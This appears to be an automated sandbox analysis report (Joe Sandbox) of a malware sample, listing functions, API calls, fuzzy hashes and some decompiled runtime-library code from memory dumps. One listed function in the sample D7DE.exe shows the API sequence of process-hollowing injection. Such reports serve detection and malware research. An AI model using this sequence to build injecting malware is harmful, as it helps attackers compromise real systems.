Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: d2cf797c362700c7c598d5f58046728f5b52e3385e363cb4ed932ee8fd006abd
Instruction ID: ecfd4378f8583d72b307479f6d223e2097ebd30da65c6bdb4e1d2919ce9eeb8a
Opcode Fuzzy Hash: d2cf797c362700c7c598d5f58046728f5b52e3385e363cb4ed932ee8fd006abd
Instruction Fuzzy Hash: B241A070909659CBCF24CF54D4957EEBBB1AF41315F14829BD8156B282C338AEC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415A97 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00415B5F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416B66

Strings

n, xrefs: 00415B8A

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 81b4a4ac1d906f0f7d1c4b56dcd511b19de96e8159785e3cfc507fb03a1586ed
Instruction ID: 877292e96ff1bb00e21e4e8a2193c3722173543034e2bdd30c2b242f653ec0a3
Opcode Fuzzy Hash: 81b4a4ac1d906f0f7d1c4b56dcd511b19de96e8159785e3cfc507fb03a1586ed
Instruction Fuzzy Hash: 4A318270909668CBCF24CF55D4957EEBBB0AF41315F14829BD8656B282C338AEC1CF19

Uniqueness

Uniqueness Score: -1.00%

Function 0041610E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_isxdigit.LIBCMTD ref: 0041617D
__hextodec.LIBCMTD ref: 004161B0
_isdigit.LIBCMTD ref: 004161D6
__inc.LIBCMTD ref: 004162C0
__un_inc.LIBCMTD ref: 004162E4
_isxdigit.LIBCMTD ref: 0041633D
__hextodec.LIBCMTD ref: 00416360
_isdigit.LIBCMTD ref: 00416383
__inc.LIBCMTD ref: 00416434
__un_inc.LIBCMTD ref: 00416458
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416B66

Strings

p, xrefs: 0041616F

Memory Dump Source

Source File: 00000009.00000002.436783198.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_409000_bhseufd.jbxd

Similarity

API ID: Locale__hextodec__inc__un_inc_isdigit_isxdigit$UpdateUpdate::~_
String ID: p
API String ID: 1652772854-2181537457
Opcode ID: 1588b932da412bbf87f59dad724f1803a9f1c0a02590b428f0eafa555efa337b
Instruction ID: 2e713e9dbd54042634f8fed090cb0d75afbde769bb5addf1dc00d549ecf89bff
Opcode Fuzzy Hash: 1588b932da412bbf87f59dad724f1803a9f1c0a02590b428f0eafa555efa337b
Instruction Fuzzy Hash: 25219071D042698ACF25CF65C8443FEBBB5AF05308F1581EBD81966302D239CAC1CF89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 1504, Parent PID: 1412COMMON

Execution Graph

Execution Coverage:	25.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	52
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 04772B6C Relevance: 6.4, APIs: 4, Instructions: 431
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 04772F8B
VirtualProtect.KERNELBASE(?,?,?,?), ref: 04772FAB
VirtualProtect.KERNELBASE(?,?,?,?), ref: 04772FCB

Memory Dump Source

Source File: 0000000D.00000002.469710401.0000000004771000.00000020.00001000.00020000.00000000.sdmp, Offset: 04771000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4771000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b125652e6ea82c81fa1193913d7b2b8f66012d737562d83d9b389844000fffe8
Instruction ID: dfda3b34ac38cf3c7fc06bf80b9769ef26561731fca2458ad22bcffc268ef518
Opcode Fuzzy Hash: b125652e6ea82c81fa1193913d7b2b8f66012d737562d83d9b389844000fffe8
Instruction Fuzzy Hash: 39023971E002299FDB58CF68CC906E9B7B1BF48714F54869AD509EB344DB70AA81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04841000 Relevance: 1.7, APIs: 1, Instructions: 205
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 04841216

Memory Dump Source

Source File: 0000000D.00000002.470375927.0000000004841000.00000020.00001000.00020000.00000000.sdmp, Offset: 04841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4841000_regsvr32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 2f8f603f975e6e56e62259e5e20bf1c748c9491f0f4eaa9147a35cd724929498
Instruction ID: cb0433efeca373a52476978eb7161df8f6d1db0feabcb72daa33b98f339ee508
Opcode Fuzzy Hash: 2f8f603f975e6e56e62259e5e20bf1c748c9491f0f4eaa9147a35cd724929498
Instruction Fuzzy Hash: 8A918E366183558FD720CF28C844A9AB7E3FFC9314F268A18E5999B354D771A846CF82

Uniqueness

Uniqueness Score: -1.00%

Function 048419DD Relevance: 1.4, APIs: 1, Instructions: 137
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 04841A0F

Memory Dump Source

Source File: 0000000D.00000002.470375927.0000000004841000.00000020.00001000.00020000.00000000.sdmp, Offset: 04841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4841000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cde5b41c2e02247c1cdbfdc78c158c7cc0e04a00988088eab255c89f6bcde51b
Instruction ID: 1000df76089e9527302fbfe2414a99273899071638e6c8eeddf13d0fb0042cee
Opcode Fuzzy Hash: cde5b41c2e02247c1cdbfdc78c158c7cc0e04a00988088eab255c89f6bcde51b
Instruction Fuzzy Hash: 53510976E10119CFCB14CFA9C984A9DBBB2FF88314F658A59D449EB345D730A982CF40

Uniqueness

Uniqueness Score: -1.00%

Function 04844418 Relevance: 1.4, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 04844438

Memory Dump Source

Source File: 0000000D.00000002.470375927.0000000004841000.00000020.00001000.00020000.00000000.sdmp, Offset: 04841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4841000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b2afb56a11bf9bcd388f58ed2d9831fecf4ea1db431e5ce6e00d620482ab15f6
Instruction ID: 209c6e6ae30c772da122c40d5339d5ca0c7be2c9d873f40655837a3228936bca
Opcode Fuzzy Hash: b2afb56a11bf9bcd388f58ed2d9831fecf4ea1db431e5ce6e00d620482ab15f6
Instruction Fuzzy Hash: BB510976A001198FCF14CFA9C88069DBBB6FFC9714F268655D419FB294D774B9428F80

Uniqueness

Uniqueness Score: -1.00%

Function 027F2185 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 027F225D

Strings

X, xrefs: 027F2128

Memory Dump Source

Source File: 0000000D.00000002.469389402.00000000027F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 027F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_27f0000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID: X
API String ID: 544645111-3081909835
Opcode ID: 23be0e2706b550cb1a4ede6144ab12d2dac20a596cf3bd41b00dfefca6b269f0
Instruction ID: fe474d71a3f6aebec8f47876d7fa7b038c79e290a2e64ce18e17ad6f8227edff
Opcode Fuzzy Hash: 23be0e2706b550cb1a4ede6144ab12d2dac20a596cf3bd41b00dfefca6b269f0
Instruction Fuzzy Hash: E0418FB5E00628CFDB54CF58C980B89BBB1FF48314F558199CA09AB356D731AE81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 027F1AE4 Relevance: 1.3, APIs: 1, Instructions: 85
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 027F1B5C

Memory Dump Source

Source File: 0000000D.00000002.469389402.00000000027F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 027F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_27f0000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1ad49a9c24d5e038cfaa3848aeec6ac8c9fbea91d267b762e765a1011df79011
Instruction ID: cf0d1a6022423c8c6c23134641478b9cd5984479294172005b0a1b85ee6a0413
Opcode Fuzzy Hash: 1ad49a9c24d5e038cfaa3848aeec6ac8c9fbea91d267b762e765a1011df79011
Instruction Fuzzy Hash: B54102B0901205CBDB44CFA8C558BAEBBF0FF48304F2485ADD858AB341D376A846CF95

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D7DE.exePID: 1924, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	11.5%
Signature Coverage:	19.8%
Total number of Nodes:	313
Total number of Limit Nodes:	14

Executed Functions

Function 026C0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 026C0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 026C016C
CreateProcessA.KERNELBASE(?,00000000), ref: 026C0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 026C0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 026C0283
GetThreadContext.KERNELBASE(00000000,?), ref: 026C029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026C02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 026C02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 026C0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 026C032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 026C0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026C03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 026C03E1
ResumeThread.KERNELBASE(00000000), ref: 026C03ED
ExitProcess.KERNEL32(00000000), ref: 026C0412

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: baef86976dd330ed2f7c025f979362b37e5daf4ef9a14cd7a150067f74a5903d
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 0DB1B574A00209EFDB44CF98C895FAEBBB5FF88314F248158E509AB395D771AA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 026C0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 026C0533

Strings

saodkfnosa9uin, xrefs: 026C04DA
mfoaskdfnoa, xrefs: 026C0520, 026C0523
d, xrefs: 026C0584
0, xrefs: 026C0492

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 111dd45048951051d6d76bf9d283324f563e0dad8c2576ef585346785dfa0461
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: F4512870D08388DBEB11DBE8C949BEDBFB2AF11708F24405CD5446F286C3BA5659CB66

Uniqueness

Uniqueness Score: -1.00%

Function 026C05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 026C05EC

Strings

o, xrefs: 026C0600
apfHQ, xrefs: 026C05E2, 026C05E5

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: da2a6435a044d8efd2147436a6fc7c7a304bfb95cbf6caf5cb1f74a72d4a08c6
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 84011E70C0425CEADB14EF98C5183AEBFB5AF41308F24809DC4092B341D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 025BF7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 025BF7EE
Module32First.KERNEL32(00000000,00000224), ref: 025BF80E

Memory Dump Source

Source File: 0000000E.00000002.499037539.00000000025BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 025BF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_25bf000_D7DE.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 61530dc616f5b6143fadffb7702df260f38177db0d131c4669fdf75f95ee718e
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E8F062312007116BD7213BB5AC8DBAA7AECBF89735F200669F642918C0DB70E8454A65

Uniqueness

Uniqueness Score: -1.00%

Function 004121C0 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004121C0() {
				void* _t1;

				_t1 = E004120F0(0); // executed
				return _t1;
			}

0x004121c7
0x004121d0

APIs

__encode_pointer.LIBCMTD ref: 004121C7

Part of subcall function 004120F0: TlsGetValue.KERNEL32(00000004), ref: 00412105
Part of subcall function 004120F0: TlsGetValue.KERNEL32(00000004,00000005), ref: 00412126
Part of subcall function 004120F0: __crt_wait_module_handle.LIBCMTD ref: 0041213C
Part of subcall function 004120F0: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00412156
Part of subcall function 004120F0: RtlEncodePointer.NTDLL(?), ref: 00412177

Memory Dump Source

Source File: 0000000E.00000002.489517041.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.489401361.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.490258818.0000000000430000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.490408716.0000000000436000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.498280792.00000000004C7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.498361666.00000000008C7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.498426442.00000000008CA000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_D7DE.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 56bd8f253069a7568e0a68e63b4c6b3685c6f2a49c54f90427001d980ce716fe
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: ABA011B288820823EA0020833803B023A0E83C0A38F080022FA0C0A2822882A8A080AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;
				void* _t5;

				E00418370(); // executed
				return L0040AD60(_t3, _t4, _t5);
			}

0x0040ad45
0x0040ad50

APIs

___security_init_cookie.LIBCMTD ref: 0040AD45

Memory Dump Source

Source File: 0000000E.00000002.489517041.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.489401361.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.490258818.0000000000430000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.490408716.0000000000436000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.498280792.00000000004C7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.498361666.00000000008C7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.498426442.00000000008CA000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_D7DE.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 2ee9993cee9888740ab7b244044e9f3a06580834980761ffb4b15bbb2664e5cd
Instruction ID: 1aa6f64352c82f2f7399416b74ec9f369f850dca5733670cb696924c3eb91816
Opcode Fuzzy Hash: 2ee9993cee9888740ab7b244044e9f3a06580834980761ffb4b15bbb2664e5cd
Instruction Fuzzy Hash: BAA0022504478C66416073B7041794AB54E4DC0B1979D402E7968125435C6DE85140AF

Uniqueness

Uniqueness Score: -1.00%

Function 025BF485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 025BF4D6

Memory Dump Source

Source File: 0000000E.00000002.499037539.00000000025BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 025BF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_25bf000_D7DE.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 91bd30ea3a7cd3d3833c25f1a7e73668fd0ea3159733bf6c78f3e3b4fe41d164
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: E2113979A00208EFDB01DF98C985E99BFF5AF08350F1580A4F9489B361D771EA90EF84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00414FF0 Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00414FF0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x4c74b4; // 0x27736394
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x8c7fd8 = _t6;
				 *0x8c7fd4 = _t20;
				 *0x8c7fd0 = _t22;
				 *0x8c7fcc = _t19;
				 *0x8c7fc8 = _t25;
				 *0x8c7fc4 = _t24;
				 *0x8c7ff0 = ss;
				 *0x8c7fe4 = cs;
				 *0x8c7fc0 = ds;
				 *0x8c7fbc = es;
				 *0x8c7fb8 = fs;
				 *0x8c7fb4 = gs;
				asm("pushfd");
				_pop( *0x8c7fe8);
				 *0x8c7fdc =  *_t29;
				 *0x8c7fe0 = _v0;
				 *0x8c7fec =  &_a4;
				 *0x8c7f28 = 0x10001;
				_t11 =  *0x8c7fe0; // 0x0
				 *0x8c7edc = _t11;
				 *0x8c7ed0 = 0xc0000409;
				 *0x8c7ed4 = 1;
				_t21 =  *0x4c74b4; // 0x27736394
				_v812 = _t21;
				_t23 =  *0x4c74b8; // 0xd88c9c6b
				_v808 = _t23;
				 *0x8c7f20 = IsDebuggerPresent();
				_push(1);
				E00419C00(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x407424);
				if( *0x8c7f20 == 0) {
					_push(1);
					E00419C00(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00414ff0
0x00414ff0
0x00414ff0
0x00414ff0
0x00414ff0
0x00414ff0
0x00414ff0
0x00414ff6
0x00414ff8
0x00414ff8
0x0042298b
0x00422990
0x00422996
0x0042299c
0x004229a2
0x004229a8
0x004229ae
0x004229b5
0x004229bc
0x004229c3
0x004229ca
0x004229d1
0x004229d8
0x004229d9
0x004229e2
0x004229ea
0x004229f2
0x004229fd
0x00422a07
0x00422a0c
0x00422a11
0x00422a1b
0x00422a25
0x00422a2b
0x00422a31
0x00422a37
0x00422a43
0x00422a48
0x00422a4a
0x00422a54
0x00422a5f
0x00422a6c
0x00422a6e
0x00422a70
0x00422a75
0x00422a8d

APIs

IsDebuggerPresent.KERNEL32 ref: 00422A3D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00422A54
UnhandledExceptionFilter.KERNEL32(00407424), ref: 00422A5F
GetCurrentProcess.KERNEL32(C0000409), ref: 00422A7D
TerminateProcess.KERNEL32(00000000), ref: 00422A84

Memory Dump Source

Source File: 0000000E.00000002.489517041.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.489401361.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.490258818.0000000000430000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.490408716.0000000000436000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.498280792.00000000004C7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.498361666.00000000008C7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000E.00000002.498426442.00000000008CA000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_D7DE.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 20ba4a53340203b7253ed8d8ad130542b95855e528025d143a85a03c04e694f9
Instruction ID: 477f6a4badbea5c725874083a945a85caf440e46fc1222ffedf0e1de5a151d7a
Opcode Fuzzy Hash: 20ba4a53340203b7253ed8d8ad130542b95855e528025d143a85a03c04e694f9
Instruction Fuzzy Hash: 0F210EB98282049FC304DF19FE84E587BB4BB1C300F4041AEE909973B1EBB45981CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 025C071C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.499037539.00000000025BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 025BF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_25bf000_D7DE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 6d0f9b4d6591c4374225b5863e4982d10328fd2e1aac7d228773003a4c2d217c
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: B8315A7540A245DFCB19CEB0D890AA5BB70FF87234F2895ACC0818B542E325A046CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 026E3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 026E3F51

Part of subcall function 026E5BA8: __getptd_noexit.LIBCMT ref: 026E5BA8

__gmtime64_s.LIBCMT ref: 026E3FEA
__gmtime64_s.LIBCMT ref: 026E4020
__gmtime64_s.LIBCMT ref: 026E403D
__allrem.LIBCMT ref: 026E4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026E40AF
__allrem.LIBCMT ref: 026E40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026E40E4
__allrem.LIBCMT ref: 026E40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 026E4119
__invoke_watson.LIBCMT ref: 026E418A

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 87f917f84a231e8a5df854f9c3437c57b1b2088f6eb95d6b0aa8fc9933830a99
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: A271D571A02716ABDF149F79CC40BBAB3B9AF10364F144279E916E7781EB70D9008BD5

Uniqueness

Uniqueness Score: -1.00%

Function 026E84AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 026E84B1
_free.LIBCMT ref: 026E84E2
_free.LIBCMT ref: 026E84F5
_free.LIBCMT ref: 026E8513
_free.LIBCMT ref: 026E8525
_free.LIBCMT ref: 026E8536
_free.LIBCMT ref: 026E8541
_free.LIBCMT ref: 026E8565
_free.LIBCMT ref: 026E8581
_free.LIBCMT ref: 026E8597
_free.LIBCMT ref: 026E85BF

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: ab34903b2da25b7e5528188e982567ce546b4cdb86857f58f894333b56f8b584
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: E431A071902650DBCF61AF14FC8084977A6EB16324714867EE90A573B0CBB499C9AF98

Uniqueness

Uniqueness Score: -1.00%

Function 0270FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0270FC1F
__CxxThrowException@8.LIBCMT ref: 0270FC34
std::exception::exception.LIBCMT ref: 0270FC4D
__CxxThrowException@8.LIBCMT ref: 0270FC62
std::regex_error::regex_error.LIBCPMT ref: 0270FC74

